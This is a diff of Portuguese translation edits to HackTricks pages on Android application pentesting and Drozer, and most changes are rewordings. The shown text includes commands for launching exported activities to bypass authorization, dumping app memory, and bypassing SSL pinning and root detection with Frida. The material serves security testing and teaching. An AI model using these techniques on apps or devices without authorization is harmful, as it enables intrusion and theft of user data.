@@ -177,11 +177,11 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
 
 ### Aplicações Superpacked
 
-De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esses tipos de aplicativos... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
+De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
 
 ### Análise Estática Automatizada de Código
 
-A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
+A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
 
 Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
 
@@ -216,9 +216,9 @@ content-protocol.md
 
 > Primeiro de tudo, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (certificado Burp CA, Drozer e Frida principalmente). Portanto, um dispositivo rooteado (emulado ou não) é extremamente recomendado.
 
-### Análise dinâmica online
+### Análise Dinâmica Online
 
-Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **faça upload** e **execute** APKs, então é útil para ver como um apk está se comportando.
+Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **envie** e **execute** APKs, então é útil para ver como um apk está se comportando.
 
 Você pode até **ver os logs da sua aplicação** na web e se conectar através do **adb**.
 
@@ -226,7 +226,7 @@ Você pode até **ver os logs da sua aplicação** na web e se conectar através
 
 Graças à conexão ADB, você pode usar **Drozer** e **Frida** dentro dos emuladores.
 
-### Análise dinâmica local
+### Análise Dinâmica Local
 
 #### Usando um emulador
 
@@ -237,7 +237,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** dentro dos emula
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendável **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
 - [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
 
 > [!NOTE]
@@ -259,8 +259,8 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
 4. Pressione **Número da versão** 7 vezes.
 5. Volte e você encontrará as **Opções de desenvolvedor**.
 
-> Uma vez que você tenha instalado a aplicação, a primeira coisa que você deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
-> Eu sugeriria **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
+> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
+> Sugiro que **realize esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
 
 ### Vazamento de Dados Não Intencionais
 
@@ -269,12 +269,12 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
 Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
 
 > [!WARNING]
-> Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
+> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
 > De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
 
 **Cache de Buffer de Copiar/Colar**
 
-O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
+O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
 
 **Logs de Crash**
 
@@ -295,7 +295,7 @@ Se o banco de dados estiver salvando informações confidenciais e estiver **cri
 
 Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <table_name>`.
 
-### Drozer (Exploit Activities, Content Providers and Services)
+### Drozer (Exploit Activities, Content Providers e Services)
 
 Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado pode fazer**, como fazer uso do mecanismo de Comunicação Inter-Processo (IPC) do Android e interagir com o sistema operacional subjacente.\
 Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Content Providers**, como você aprenderá nas seções seguintes.
@@ -307,7 +307,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o
 
 **Bypass de Autorização**
 
-Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os mecanismos de **autenticação** **para acessá-la.**
+Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os mecanismos de **autenticação** **para acessá-la.**
 
 [**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
 
@@ -318,7 +318,7 @@ Você também pode iniciar uma atividade exportada a partir do adb:
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
-**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [isso](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões de API < 21).
+**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [isso](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões da API < 21).
 
 > [!NOTA]
 > Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dependerá de como o bypass funciona e quais informações são expostas.
@@ -346,13 +346,13 @@ Lembre-se de que as ações de um Serviço começam no método `onStartCommand`.
 Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
 [**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services)
 
-### **Explorando Receptores de Broadcast**
+### **Explorando Broadcast Receivers**
 
-[**Leia isso se você quiser relembrar o que é um Receptor de Broadcast.**](android-applications-basics.md#broadcast-receivers)\
-Lembre-se de que as ações de um Receptor de Broadcast começam no método `onReceive`.
+[**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
+Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
 
-Um receptor de broadcast estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
-[**Aprenda como explorar Receptores de Broadcast com Drozer.**](#exploiting-broadcast-receivers)
+Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
+[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Explorando Schemes / Deep links**
 
@@ -361,7 +361,7 @@ Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chamará automaticamente o aplicativo que deve abrir esse link._
+_Observe que você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir esse link._
 ```html
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
@@ -376,7 +376,7 @@ Para encontrar o **código que será executado no App**, vá para a atividade ch
 
 **Informações sensíveis**
 
-Toda vez que você encontrar um deep link, verifique se **não está recebendo dados sensíveis (como senhas) via parâmetros de URL**, porque qualquer outro aplicativo poderia **se passar pelo deep link e roubar esses dados!**
+Toda vez que você encontrar um deep link, verifique se **não está recebendo dados sensíveis (como senhas) via parâmetros de URL**, porque qualquer outro aplicativo poderia **impersonar o deep link e roubar esses dados!**
 
 **Parâmetros no caminho**
 
@@ -391,7 +391,7 @@ Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618)
 
 - **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para o uso de conexões HTTP.
 - **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados.
-- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
+- **O vazamento de informações privadas** é um risco quando os aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
 
 #### Verificação de Certificado
 
@@ -423,9 +423,9 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
 
 ### Frida
 
-[Frida](https://www.frida.re) é uma ferramenta de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\
-**Você pode acessar aplicativos em execução e hook métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\
-Se você quer fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
+[Frida](https://www.frida.re) é um kit de ferramentas de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\
+**Você pode acessar aplicativos em execução e conectar métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\
+Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
 
 - Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/index.html)
 - Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
@@ -437,7 +437,7 @@ Se você quer fazer pentesting em aplicativos Android, precisa saber como usar o
 
 Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
 
-Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode despejar a memória do app com:
+Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do aplicativo com:
 ```bash
 # With PID
 python3 fridump3.py -u <PID>
@@ -480,13 +480,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
 ### **Analisador de Aplicações Android**
 
-Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Injeção de Intent
 
 Os desenvolvedores frequentemente criam componentes proxy como atividades, serviços e receptores de broadcast que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
 
-O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao redirecionar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
+O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao desviar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
 
 ### Principais Conclusões
 
@@ -501,7 +501,7 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
 
 - **Injeção SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de usar consultas parametrizadas.
 - **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
-- **Inclusão de Arquivo Local:** WebViews devem ter o acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
+- **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
 - **Cookies Eternos**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco.
 - [**Secure Flag** em cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
@@ -538,11 +538,11 @@ A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida**
 
 **Frida**
 
-Por padrão, ele também usará alguns Scripts Frida para **burlar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
+Por padrão, ele também usará alguns Scripts Frida para **bypass SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
 O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
 
-Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
-O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados de seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
+Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
+O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
@@ -553,13 +553,13 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
 - **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
 - **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
 - **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
-- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
+- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android.
 
-Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
+Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
 
 **Shell**
 
-O Mobsf também traz um shell com alguns comandos **adb**, comandos **MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
+O MobSF também traz um shell com alguns comandos **adb**, **comandos MobSF**, e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
 ```bash
 help
 shell ls
@@ -570,10 +570,10 @@ receivers
 ```
 **Ferramentas HTTP**
 
-Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visualização mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
+Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
 Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
-Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
+Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar vulnerabilidades.
 
 > [!NOTE]
 > Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
@@ -619,7 +619,7 @@ SUPER é um aplicativo de linha de comando que pode ser usado no Windows, MacOS
 
 Todas as regras estão centradas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam.
 
-Baixe os binários mais recentes na [pagina de download](https://superanalyzer.rocks/download.html)
+Baixe os binários mais recentes na [download page](https://superanalyzer.rocks/download.html)
 ```
 super-analyzer {apk_file}
 ```
@@ -629,7 +629,7 @@ super-analyzer {apk_file}
 
 StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicativos móveis.
 
-O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
+O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
 
 Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
 ```
@@ -637,7 +637,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
+AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -672,13 +672,13 @@ Ele é capaz de:
 
 Útil para detectar malware: [https://koodous.com/](https://koodous.com)
 
-## Obfuscating/Deobfuscating code
+## Ofuscando/Deofuscando código
 
-Note que dependendo do serviço e configuração que você usa para ofuscar o código. Segredos podem ou não acabar ofuscados.
+Observe que dependendo do serviço e configuração que você usa para ofuscar o código. Segredos podem ou não acabar ofuscados.
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-De [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
+Do [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
 
 ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento.
 
@@ -686,7 +686,7 @@ ProGuard é distribuído como parte do SDK do Android e é executado ao construi
 
 Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
-(Desse guia) Na última vez que verificamos, o modo de operação do Dexguard era:
+(Daquele guia) Na última vez que verificamos, o modo de operação do Dexguard era:
 
 - carregar um recurso como um InputStream;
 - alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
@@ -702,7 +702,7 @@ Você pode enviar um APK ofuscado para a plataforma deles.
 
 ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
 
-Esta é uma ferramenta LLM para encontrar quaisquer potenciais vulnerabilidades de segurança em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
+Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
@@ -710,7 +710,7 @@ Esta é uma ferramenta LLM para encontrar quaisquer potenciais vulnerabilidades
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
-APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muitos **compiladores**, **empacotadores**, **ofuscadores**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
+APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muitos **compiladores**, **empacotadores**, **ofuscadores** e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
 
 ### Manual
 
@@ -720,9 +720,9 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
+AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
 
-## References
+## Referências
 
 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
 - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos
@@ -731,7 +731,7 @@ AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate qu
 - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
 - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
 
-## Yet to try
+## Ainda a tentar
 
 - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
 - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md

@@ -2,14 +2,12 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-
-
 ## APKs para testar
 
 - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (do mrwlabs)
 - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
 
-**Partes deste tutorial foram extraídas da** [**documentação pdf do Drozer**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
+**Partes deste tutorial foram extraídas do** [**pdf da documentação do Drozer**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
 
 ## Instalação
 
@@ -40,16 +38,16 @@ drozer console connect
 ## Comandos Interessantes
 
 | **Comandos**    | **Descrição**                                                                                                                                         |
-| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Help MODULE** | Mostra a ajuda do módulo selecionado                                                                                                                |
+| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Help MODULE** | Mostra a ajuda do módulo selecionado                                                                                                               |
 | **list**        | Mostra uma lista de todos os módulos drozer que podem ser executados na sessão atual. Isso oculta módulos que você não tem permissões apropriadas para executar. |
-| **shell**       | Inicia um shell Linux interativo no dispositivo, no contexto do Agente.                                                                              |
+| **shell**       | Inicia um shell Linux interativo no dispositivo, no contexto do Agente.                                                                             |
 | **clean**       | Remove arquivos temporários armazenados pelo drozer no dispositivo Android.                                                                          |
 | **load**        | Carrega um arquivo contendo comandos drozer e os executa em sequência.                                                                              |
 | **module**      | Encontra e instala módulos drozer adicionais da Internet.                                                                                           |
-| **unset**       | Remove uma variável nomeada que o drozer passa para quaisquer shells Linux que ele gera.                                                            |
+| **unset**       | Remove uma variável nomeada que o drozer passa para quaisquer shells Linux que ele gera.                                                           |
 | **set**         | Armazena um valor em uma variável que será passada como uma variável ambiental para quaisquer shells Linux gerados pelo drozer.                     |
-| **shell**       | Inicia um shell Linux interativo no dispositivo, no contexto do Agente                                                                               |
+| **shell**       | Inicia um shell Linux interativo no dispositivo, no contexto do Agente                                                                              |
 | **run MODULE**  | Executa um módulo drozer                                                                                                                             |
 | **exploit**     | O drozer pode criar exploits para executar no dispositivo. `drozer exploit list`                                                                    |
 | **payload**     | Os exploits precisam de um payload. `drozer payload list`                                                                                            |
@@ -117,7 +115,7 @@ com.mwr.example.sieve.PWList
 ```
 **Iniciar atividade**:
 
-Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir você de lançá-la.
+Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedi-lo de lançá-la.
 ```bash
 dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
 ```
@@ -128,21 +126,21 @@ Você também pode iniciar uma atividade exportada a partir do **adb**:
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
-### Provedores de Conteúdo
+### Content Providers
 
-Este post foi tão grande que **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
+Este post era muito grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
 
-### Serviços
+### Services
 
 Um serviço exportado é declarado dentro do Manifest.xml:
 ```html
 <service android:name=".AuthService" android:exported="true" android:process=":remote"/>
 ```
-Dentro do código **verifique** a função **`handleMessage`** que irá **receber** a **mensagem**:
+Dentro do código **check** para a função **`handleMessage`** que irá **receber** a **mensagem**:
 
 ![](<../../../images/image (82).png>)
 
-#### Listar serviço
+#### List service
 ```bash
 dz> run app.service.info -a com.mwr.example.sieve
 Package: com.mwr.example.sieve
@@ -151,7 +149,7 @@ Permission: null
 com.mwr.example.sieve.CryptoService
 Permission: null
 ```
-#### **Interaja** com um serviço
